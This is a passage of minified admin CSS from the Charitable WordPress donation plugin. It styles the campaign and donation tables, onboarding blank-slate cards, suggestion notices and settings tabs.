input[type=submit],body[class*=charitable_page_] .alignleft.actions select,body.post-type-campaign .alignleft.actions input[type=submit],body.post-type-campaign .alignleft.actions select,body.post-type-donation .alignleft.actions input[type=submit],body.post-type-donation .alignleft.actions select{min-height:32px;height:38px}body[class*=charitable_page_] .charitable-campaign-action-button,body.post-type-campaign .charitable-campaign-action-button,body.post-type-donation .charitable-campaign-action-button{cursor:pointer;padding:5px 4px;border:1px solid #E1E3E5;background-color:white;width:20px;height:18px;border-radius:3px;color:#5F616B;display:inline-block;text-align:center;vertical-align:middle;margin-right:10px;line-height:23px}body[class*=charitable_page_] .charitable-campaign-action-button:hover,body.post-type-campaign .charitable-campaign-action-button:hover,body.post-type-donation .charitable-campaign-action-button:hover{color:white}body.post-type-campaign.edit-php.charitable-campaigns-0-published #posts-filter tbody#the-list td,body.post-type-campaign.edit-php.charitable-campaigns-0-trash #posts-filter tbody#the-list td{vertical-align:middle;padding-top:20px;padding-bottom:20px;height:auto}body.post-type-campaign.edit-php.charitable-campaigns-0-published #posts-filter tbody#the-list tr.child td,body.post-type-campaign.edit-php.charitable-campaigns-0-trash #posts-filter tbody#the-list tr.child td{padding-top:0;padding-bottom:0}body.post-type-campaign.edit-php.charitable-campaigns-0-published .tablenav.top .charitable-export-actions,body.post-type-campaign.edit-php.charitable-campaigns-0-trash .tablenav.top .charitable-export-actions{margin-left:0px}body.post-type-campaign.edit-php.charitable-campaigns-0-published .tablenav.top .charitable-legacy-actions,body.post-type-campaign.edit-php.charitable-campaigns-0-trash .tablenav.top .charitable-legacy-actions{margin-left:15px}.body.post-type-campaign.edit-php.charitable-campaigns-0-trash .charitable-campaign-legacy-actions{display:none !important}body.post-type-donation{}body.post-type-donation #posts-filter input,body.post-type-donation #posts-filter select,body.post-type-donation #posts-filter textarea,body.post-type-donation #posts-filter button{font-family:"Inter", sans-serif !important}body.post-type-donation table{border-color:#DDD}body.post-type-donation table thead th a,body.post-type-donation table tfoot th a{color:#6A6C77;font-weight:500}body.post-type-donation table thead th,body.post-type-donation table tfoot th,body.post-type-donation table thead td,body.post-type-donation table tfoot td{border-color:#DDD}body.post-type-donation table td.title{font-weight:400;padding-right:50px}body.post-type-donation table td.title a{font-weight:400;color:#454955}body.post-type-donation h1{font-family:"Inter", sans-serif;font-weight:500}body.post-type-donation h1.wp-heading-inline{font-size:21px;margin-right:10px;margin-bottom:5px;margin-top:20px}body.post-type-donation #screen-meta-links{display:none}body.post-type-donation p.search-box{position:absolute;right:20px;top:auto;margin-top:39px}body.post-type-donation select,body.post-type-donation input#search-submit,body.post-type-donation input.button{background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7}body.post-type-donation form#posts-filter .tablenav{font-family:"Inter", sans-serif}body.post-type-donation form#posts-filter .tablenav select{min-width:160px}body.post-type-donation form#posts-filter .tablenav.top{margin-bottom:20px}body.post-type-donation form#posts-filter .tablenav.top select,body.post-type-donation form#posts-filter .tablenav.top button{font-size:13px;line-height:29px;font-weight:500}body.post-type-donation form#posts-filter .tablenav.top button{padding:0 15px}body.post-type-donation form#posts-filter .tablenav.bottom{margin-top:25px}body.post-type-donation form#posts-filter .tablenav.bottom select,body.post-type-donation form#posts-filter .tablenav.bottom button{font-size:13px;line-height:29px;font-weight:500}body.post-type-donation form#posts-filter .tablenav.bottom button{padding:0 15px}body.post-type-donation .charitable-donation-legacy-actions,body.post-type-donation .charitable-donation-export-actions,body.post-type-donation .charitable-donation-filter-actions{font-family:"Inter", sans-serif}body.post-type-donation .charitable-donation-legacy-actions a,body.post-type-donation .charitable-donation-export-actions a,body.post-type-donation .charitable-donation-filter-actions a{font-size:14px;line-height:19px;color:#2B66D1;font-weight:500;display:inline-block;padding-top:9px}body.post-type-donation .charitable-donation-legacy-actions a label,body.post-type-donation .charitable-donation-export-actions a label,body.post-type-donation .charitable-donation-filter-actions a label{display:block;text-decoration:underline;float:left;margin-top:-2px}body.post-type-donation .charitable-donation-legacy-actions a img,body.post-type-donation .charitable-donation-export-actions a img,body.post-type-donation .charitable-donation-filter-actions a img{width:16px;height:16px;display:block;margin-right:4px;float:left}body.post-type-donation .charitable-donation-legacy-actions a.charitable-campaigns-clear,body.post-type-donation .charitable-donation-export-actions a.charitable-campaigns-clear,body.post-type-donation .charitable-donation-filter-actions a.charitable-campaigns-clear{font-weight:400;padding:5px 15px;margin:0 0 0 5px}body.post-type-donation .charitable-donations-clear.button{padding-top:4px;margin-left:10px;margin-top:2px}body.post-type-donation .charitable-donation-legacy-actions a{color:green}body.post-type-donation .charitable-donation-legacy-actions a img{margin-top:2px}body.post-type-donation .charitable-donation-filter-actions{margin-right:10px}body.post-type-donation .charitable-donation-filter-actions a img{width:11px;height:11px;margin-top:2px}body.post-type-donation input#post-search-input{border-color:#E4E4E7}body.post-type-donation #wpbody-content .page-title-action{background-color:#00a32a;color:#ffffff}body.post-type-donation #wpbody-content .charitable-donation-action-button{cursor:pointer;padding:5px 4px;border:1px solid #E1E3E5;background-color:white;width:20px;height:18px;border-radius:3px;color:#5F616B;display:inline-block;text-align:center;vertical-align:middle;margin-right:10px}body.post-type-donation #wpbody-content .charitable-donation-action-button:hover{color:white}body.post-type-donation .jconfirm .jconfirm-cell{display:block}body.post-type-donation.edit-php.post-type-donation tbody#the-list td{vertical-align:middle}body.post-type-donation.edit-php.post-type-donation .actions{vertical-align:middle}body.post-type-donation.edit-php.post-type-donation .actions button{font-size:18px;border-radius:0;box-shadow:none;border:1px solid #ccc;background-color:transparent;margin:0 5px 0 0}body.post-type-donation.edit-php.post-type-donation tbody#the-list th.check-column input[type=checkbox]{margin-top:3px}body.post-type-donation.edit-php.post-type-donation tbody#the-list th.check-column,body.post-type-donation.edit-php.post-type-donation tbody#the-list td{vertical-align:top;padding-top:20px}body.post-type-donation.edit-php.post-type-donation tbody#the-list tr.no-items td{padding-top:10px}body.post-type-donation.edit-php.post-type-donation tbody#the-list td.column-actions{padding-top:19px}body.post-type-donation.edit-php.post-type-donation tbody#the-list td.column-creator .charitable-donation-creator-avatar{border-radius:50%;max-width:25px;max-height:25px;float:left}body.post-type-donation.edit-php.post-type-donation tbody#the-list td.column-creator .charitable-donation-creator-name{display:inline-block;margin-left:10px;margin-top:2px}body.post-type-donation.edit-php.post-type-donation .donated .meter{height:10px;position:relative;background:lightgray;padding:0px;margin:10px auto 0 0;width:75%;box-shadow:inset 0 -1px 1px rgba(255, 255, 255, 0.3)}body.post-type-donation.edit-php.post-type-donation .donated .meter > span{display:block;height:100%;border-top-right-radius:8px;border-bottom-right-radius:8px;border-top-left-radius:20px;border-bottom-left-radius:20px;background-color:#00a32a;background-image:linear-gradient(center bottom, rgb(43, 194, 83) 37%, rgb(84, 240, 84) 69%);box-shadow:inset 0 2px 9px rgba(255, 255, 255, 0.3), inset 0 -2px 6px rgba(0, 0, 0, 0.4);position:relative;overflow:hidden}body.post-type-donation.edit-php.post-type-donation .column-status mark{padding:0px 0px;margin:0;text-align:center;white-space:nowrap;background:white;border-radius:0;font-size:14px;font-weight:400;letter-spacing:1px;text-transform:capitalize;color:#2d2d2d}body.post-type-donation.edit-php.post-type-donation .column-status mark.active{color:#00a32a;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .column-status mark.draft{color:#545660;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .column-status mark.finished{color:#215d8f;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .column-status mark.successful{color:#215d8f;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .column-status mark.unsuccessful{color:#d63638;background-color:transparent}body.post-type-donation.edit-php.post-type-donation .tablenav.top > .tablenav-pages{display:none}body.post-type-donation #wpbody-content .page-title-action{background-color:#5AA152;border-radius:5px}body.post-type-donation .charitable-blank-slate{max-width:764px;text-align:center;margin:auto;padding:5em 0 0}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-hero-image{min-height:150px;opacity:0.3}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-message{color:#444;font-size:1.5em;margin:1em auto 1em}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons{margin-bottom:4em}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta{font-size:1.2em;padding:0.75em 1.5em;margin:0 0.25em;height:auto;display:inline-block !important;background:white;border-color:black;color:black}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta.charitable-button{display:inline-block;border-radius:4px;cursor:pointer;text-decoration:none;text-align:center;vertical-align:middle;white-space:nowrap;box-shadow:none;font-size:16px;font-weight:600 !important;line-height:19px;padding:10px 20px;border:none;background-color:#df7739;color:#ffffff;text-transform:capitalize;letter-spacing:normal;padding:15px 25px}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta.charitable-button:hover{background-color:#bd632f;color:white}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta.button-secondary{background-color:#5AA152;color:#ffffff}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta.button-secondary:hover{color:white}body.post-type-donation .charitable-blank-slate .charitable-blank-slate-buttons .charitable-blank-slate-cta:hover{color:black}body.wp-admin.charitable-campaigns table.wp-list-table td.column-creator a{display:flex}.charitable-blank-slate{max-width:800px;text-align:center;margin:auto;padding:2em 0 0}.charitable-blank-slate .page-header{background:white;border:1px solid #ccd0d4;padding:20px;display:flex;justify-content:space-between;align-items:center;margin:0 0 20px 0}.charitable-blank-slate .page-header .page-title{font-size:23px;font-weight:400;color:#23282d;margin:0}.charitable-blank-slate .welcome-card{background:white;border:1px solid #ccd0d4;border-radius:4px;padding:40px;text-align:center;margin-bottom:30px;box-shadow:0 1px 1px rgba(0, 0, 0, 0.04)}.charitable-blank-slate .welcome-card .welcome-title{font-size:28px;color:#23282d;margin-bottom:16px;font-weight:600}.charitable-blank-slate .welcome-card .welcome-description{font-size:16px;color:#666;margin-bottom:32px;max-width:600px;margin-left:auto;margin-right:auto;line-height:1.5}.charitable-blank-slate .btn-primary{background:#87B655;color:white;border:none;padding:8px 16px;border-radius:3px;font-size:13px;cursor:pointer;text-decoration:none;display:inline-block}.charitable-blank-slate .btn-primary:hover{background:#7a9f4f;color:white}.charitable-blank-slate .btn-primary.btn-large{font-size:16px;padding:16px 32px;border-radius:5px}.charitable-blank-slate .btn-secondary{background:#f47c3c;color:white;border:none;padding:10px 20px;border-radius:3px;font-size:13px;cursor:pointer;text-decoration:none;display:inline-block}.charitable-blank-slate .btn-secondary:hover{background:#e66a2a;color:white}.charitable-blank-slate .secondary-actions{display:grid;grid-template-columns:1fr;gap:20px;margin:30px auto;max-width:800px}@media (min-width:768px){.charitable-blank-slate .secondary-actions{grid-template-columns:1fr 1fr}}.charitable-blank-slate .action-card{background:white;border:1px solid #ccd0d4;text-align:left;border-radius:4px;padding:24px;box-shadow:0 1px 1px rgba(0, 0, 0, 0.04)}.charitable-blank-slate .action-card h3{font-size:16px;color:#23282d;margin:0 0 20px 0;font-weight:600;text-align:left}.charitable-blank-slate .action-card p{color:#666;margin:0 0 16px 0;font-size:14px;line-height:1.4}.charitable-blank-slate .givewp-detection-text{margin:0 0 8px 0;font-size:14px;line-height:1.4}.charitable-blank-slate .givewp-detection-text strong{color:#23282d}.charitable-blank-slate .givewp-detection-text .givewp-count{color:#f47c3c;font-weight:700}.charitable-blank-slate .help-resources{background:white;border:1px solid #ccd0d4;border-radius:4px;padding:24px;box-shadow:0 1px 1px rgba(0, 0, 0, 0.04);margin:30px auto;max-width:800px;text-align:left}.charitable-blank-slate .help-resources h3{font-size:16px;color:#23282d;margin:0 0 16px 0;font-weight:600}.charitable-blank-slate .help-links{list-style:none;margin:0;padding:0}.charitable-blank-slate .help-links li{margin:0 0 8px 0;padding:0}.charitable-blank-slate .help-links li a{color:#0073aa;text-decoration:none;font-size:14px}.charitable-blank-slate .help-links li a:hover{text-decoration:underline}.charitable-blank-slate .blank-slate-feature-card{background:white;border:1px solid #ccd0d4;border-radius:4px;padding:24px;text-align:left;box-shadow:0 1px 1px rgba(0, 0, 0, 0.04);display:flex;flex-direction:column;align-items:flex-start;gap:16px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-title-icon-row{display:flex;align-items:center;justify-content:center;gap:8px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-icon{display:flex;align-items:center;justify-content:center}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-icon img{width:24px;height:24px;opacity:0.7}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-content{display:flex;flex-direction:column;align-items:flex-start;gap:12px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-button-row{display:flex;flex-direction:row;align-items:center;gap:10px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-title{font-size:16px;color:#23282d;margin:0;font-weight:600;display:flex;align-items:center;gap:8px}.charitable-blank-slate .blank-slate-feature-card .blank-slate-pro-badge{background:#f47c3c;color:white;font-size:10px;padding:2px 6px;border-radius:2px;font-weight:600;display:inline-block;text-transform:uppercase}.charitable-blank-slate .blank-slate-feature-card .blank-slate-feature-description{color:#666;margin:0;font-size:14px;line-height:1.4;text-align:left;max-width:100%}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button{background:#f47c3c;color:white;border:none;padding:10px 20px;border-radius:3px;font-size:13px;cursor:pointer;text-decoration:none;display:inline-block;font-weight:normal;transition:all 0.2s ease;text-align:center}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button:hover:not(:disabled){background:#e66a2a;color:white;text-decoration:none}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button:focus{box-shadow:0 0 0 1px #e66a2a;outline:none}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button:disabled{opacity:0.6;cursor:not-allowed}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-install-button{background:#f47c3c}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-install-button:hover{background:#e66a2a}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-activate-button{background:#87B655}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-activate-button:hover{background:#7a9f4f}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-installed-button{background:#6c757d;color:white}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-installed-button:hover{background:#6c757d}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-upgrade-button{background:#f47c3c}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-upgrade-button:hover{background:#e66a2a}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-learn-more-button{background:#f47c3c;color:white;border:none}.charitable-blank-slate .charitable-dashboard-v2-enhance-grid-button.charitable-dashboard-v2-learn-more-button:hover{background:#e66a2a;color:white;text-decoration:none}.blank-slate-feature-content .charitable-dashboard-v2-enhance-grid-button{padding:4px 15px !important;margin-top:2px;font-size:13px;line-height:29px;font-weight:500}/* Hide WordPress admin elements on blank slate pages. Note:campaign/donation hide rules are in inline <style> output by the blank slate renderer so they only apply when blank slate is active. */.charitable-growth-tools-dashboard.charitable-growth-tools-notice{position:absolute;top:50%;left:50%;transform:translate(-50%, -50%);z-index:9999}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior{background-color:white;padding:20px;margin-top:-50px;box-shadow:0 0 30px rgba(0, 0, 0, 0.15);border-radius:4px;text-align:center;position:relative}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior h2{font-size:21px;line-height:24px;font-weight:500;margin:0 0 10px 0;font-family:"Inter", sans-serif}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p{font-size:16px;line-height:21px;margin:5px auto;font-family:"Inter", sans-serif}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.another-suggestion{margin-top:20px;font-size:12px;line-height:12px}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.another-suggestion a{font-weight:300;color:#444}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.more-recommendations{font-size:14px}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior .charitable-notice-why{width:75%;margin:20px auto}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior .charitable-notice-why strong{text-transform:uppercase;font-weight:700;font-size:14px}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior a.charitable-remove-growth-tools{position:absolute;right:20px;top:20px;font-size:14px;line-height:14px;width:16px;height:16px;text-decoration:none;opacity:0.3;background-image:url(../../images/onboarding/checklist/times-circle-regular.svg);color:#b6b6b6}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.charitable-dashboard-notice-another-suggestion a{color:black;font-size:12px;line-height:14px;text-decoration:underline;font-weight:300}.charitable-growth-tools-dashboard.charitable-growth-tools-notice .charitable-growth-tools-notice-interior p.charitable-dashboard-notice-another-suggestion a:hover{color:darkgrey}.marketplace-suggestions-container .marketplace-suggestion-container{padding:1.5em;align-items:center;flex-direction:row}.marketplace-suggestions-container h4{margin:0 auto;font-weight:500;font-size:18px}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container{display:flex;position:relative}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container .marketplace-suggestion-container-content h4{text-align:left}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container .marketplace-suggestion-container-content p{font-size:13px;line-height:1.5;margin:4px 0 0 0;color:#444;text-align:left}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container img.marketplace-suggestion-icon{margin:0 1.5em 0 0;height:40px;flex:0 0 40px}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container .marketplace-suggestion-container-cta{flex:1 1 30%;min-width:160px;text-align:right}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container .suggestion-dismiss{position:relative;top:5px;right:auto;margin-left:1em;color:#ddd}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container a.suggestion-dismiss::before{font-family:Dashicons;speak:never;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;content:"\f335";text-decoration:none;font-size:1.5em}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container a.charitable-button-link{background-color:#5aa152;color:#fff;padding:10px 15px;position:relative;top:-4px;text-decoration:none;border-radius:5px;text-shadow:none;font-weight:600;font-size:13px;line-height:normal;cursor:pointer;margin:5px auto 0 auto;display:inline-block}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container a.charitable-button-link.charitable-learn-more{background-color:#f18200}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container a.charitable-button-link:hover{background-color:#3f7539}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container-footer .marketplace-suggestion-container-cta{text-align:center}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container-footer .marketplace-suggestion-container-cta a.linkout{text-decoration:none;margin-right:20px;color:#999}.marketplace-suggestions-container.showing-suggestion .marketplace-suggestion-container-footer .marketplace-suggestion-container-cta a.linkout:hover{color:#444;text-decoration:underline}#adminmenu #toplevel_page_charitable ul.wp-submenu li.wp-first-item{display:none !important;visibility:hidden !important}body.charitable_legacy_dashboard #adminmenu #toplevel_page_charitable ul.wp-submenu li.wp-first-item{display:unset;visibility:unset}body.taxonomy-campaign_category li#toplevel_page_charitable ul li.tools,body.taxonomy-campaign_tag li#toplevel_page_charitable ul li.tools{font-weight:600 !important;color:white}body.taxonomy-campaign_category li#toplevel_page_charitable ul li.tools a,body.taxonomy-campaign_tag li#toplevel_page_charitable ul li.tools a{font-weight:600 !important;color:white}#adminmenu .wp-submenu a .charitable-menu-new-indicator{color:#f18200;vertical-align:super;font-size:9px}body.charitable_page_charitable-settings table,body.charitable_page_charitable-reports table,body.post-type-charitable.edit-tags-php table,body.charitable_page_charitable-tools table,body.charitable_page_charitable-addons table{border-color:#DDD}body.charitable_page_charitable-settings table thead th a,body.charitable_page_charitable-settings table tfoot th a,body.charitable_page_charitable-reports table thead th a,body.charitable_page_charitable-reports table tfoot th a,body.post-type-charitable.edit-tags-php table thead th a,body.post-type-charitable.edit-tags-php table tfoot th a,body.charitable_page_charitable-tools table thead th a,body.charitable_page_charitable-tools table tfoot th a,body.charitable_page_charitable-addons table thead th a,body.charitable_page_charitable-addons table tfoot th a{color:#6A6C77;font-weight:500}body.charitable_page_charitable-settings table thead th,body.charitable_page_charitable-settings table tfoot th,body.charitable_page_charitable-settings table thead td,body.charitable_page_charitable-settings table tfoot td,body.charitable_page_charitable-reports table thead th,body.charitable_page_charitable-reports table tfoot th,body.charitable_page_charitable-reports table thead td,body.charitable_page_charitable-reports table tfoot td,body.post-type-charitable.edit-tags-php table thead th,body.post-type-charitable.edit-tags-php table tfoot th,body.post-type-charitable.edit-tags-php table thead td,body.post-type-charitable.edit-tags-php table tfoot td,body.charitable_page_charitable-tools table thead th,body.charitable_page_charitable-tools table tfoot th,body.charitable_page_charitable-tools table thead td,body.charitable_page_charitable-tools table tfoot td,body.charitable_page_charitable-addons table thead th,body.charitable_page_charitable-addons table tfoot th,body.charitable_page_charitable-addons table thead td,body.charitable_page_charitable-addons table tfoot td{border-color:#DDD}body.charitable_page_charitable-settings table td.title,body.charitable_page_charitable-reports table td.title,body.post-type-charitable.edit-tags-php table td.title,body.charitable_page_charitable-tools table td.title,body.charitable_page_charitable-addons table td.title{font-weight:400;padding-right:50px}body.charitable_page_charitable-settings table td.title a,body.charitable_page_charitable-reports table td.title a,body.post-type-charitable.edit-tags-php table td.title a,body.charitable_page_charitable-tools table td.title a,body.charitable_page_charitable-addons table td.title a{font-weight:400;color:#454955}body.charitable_page_charitable-settings h1,body.charitable_page_charitable-reports h1,body.post-type-charitable.edit-tags-php h1,body.charitable_page_charitable-tools h1,body.charitable_page_charitable-addons h1{font-family:"Inter", sans-serif;font-weight:500;font-size:21px;margin-right:10px;margin-bottom:20px;margin-top:20px}body.post-type-charitable.edit-tags-php #col-container{margin-top:15px}body.post-type-charitable.edit-tags-php h1.wp-heading-inline{display:none}body.charitable_page_charitable-settings div#charitable-settings table.form-table tbody tr th[scope=row] label{font-weight:normal;font-size:inherit;margin:10px 0 6px 0;line-height:20px;font-family:"Inter", sans-serif;display:block}.charitable-customizer-section img{float:left;border:1px solid #ccc;padding:5px;margin-right:20px}.charitable-customizer-section a.button.button-primary{background-color:#5AA152;border-color:#5AA152;color:white;border-radius:5px;font-family:"Inter", sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize}body.charitable_page_charitable-reports h2.nav-tab-wrapper,body.charitable_page_charitable-tools h2.nav-tab-wrapper,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper,body.charitable_page_charitable-settings h2.nav-tab-wrapper,body.charitable_page_charitable-about h2.nav-tab-wrapper{font-family:"Inter", sans-serif;margin-bottom:25px;display:inline-block;border-bottom:1px solid #D5D6D8;padding-left:0px;padding-right:20px;margin-bottom:5px;width:calc(100% - 40px)}body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab,body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab{margin:0 15px 0 0;font-family:"Inter", sans-serif;border:0;background:none;color:#85878F;font-size:15px;line-height:18px;padding-bottom:25px;padding-left:15px;padding-right:15px;font-weight:400;border-bottom:2px solid transparent}body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab.nav-tab-active{color:#2F3241;font-weight:600;border-bottom:2px solid #5AA152}body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after, body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after,body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab.nav-tab-marketing::after,body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab.nav-tab-donors::after{content:"Pro";background-color:#F99E36;padding:3px 7px;font-size:11px;line-height:11px;text-transform:uppercase;color:white;font-weight:600;margin-left:5px;margin-right:5px;margin-top:0;position:relative;top:-7px}body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after,body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab.no-pro-tab::after{display:none}body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab:hover,body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab:hover,body.post-type-charitable.edit-tags-php h2.nav-tab-wrapper a.nav-tab:hover,body.term-php.taxonomy-campaign_category h2.nav-tab-wrapper a.nav-tab:hover,body.term-php.taxonomy-campaign_tag h2.nav-tab-wrapper a.nav-tab:hover,body.charitable_page_charitable-growth-tools h2.nav-tab-wrapper a.nav-tab:hover,body.charitable_page_charitable-settings h2.nav-tab-wrapper a.nav-tab:hover,body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab:hover{color:#2F3241;border-bottom:2px solid #D5D6D8}body.charitable_page_charitable-tools h3.nav-sub-tab-wrapper{font-family:"Inter", sans-serif;margin:10px 0 0 0;padding:0;border-bottom:none;font-size:14px;font-weight:400}body.charitable_page_charitable-reports h3.nav-sub-tab-wrapper a.nav-tab,body.charitable_page_charitable-tools h3.nav-sub-tab-wrapper a.nav-tab,body.charitable_page_charitable-settings h3.nav-sub-tab-wrapper a.nav-tab,body.charitable_page_charitable-about h3.nav-sub-tab-wrapper a.nav-tab{font-size:13px;line-height:13px;padding:10px 15px;border-bottom:2px solid transparent;background-color:transparent;border-top:0;border-left:0;border-right:0;font-weight:400;margin-left:0}body.charitable_page_charitable-reports h3.nav-sub-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-tools h3.nav-sub-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-settings h3.nav-sub-tab-wrapper a.nav-tab.nav-tab-active,body.charitable_page_charitable-about h3.nav-sub-tab-wrapper a.nav-tab.nav-tab-active{font-style:normal;font-weight:600;line-height:130%;border-bottom:2px solid #5AA152;color:#5AA152}tr.charitable-tools-heading-pro th[scope=row] h4{font-size:20px !important;font-weight:600 !important;margin:20px 0 6px 0 !important;line-height:20px !important}tr.charitable-tools-heading-pro th[scope=row] p{font-size:14px;font-weight:600;color:#50575E;margin:4px 0 0 0}.charitable-import-pro-notice{background:#FFF8E5;border:1px solid #F99E36;padding:12px 16px;margin:0 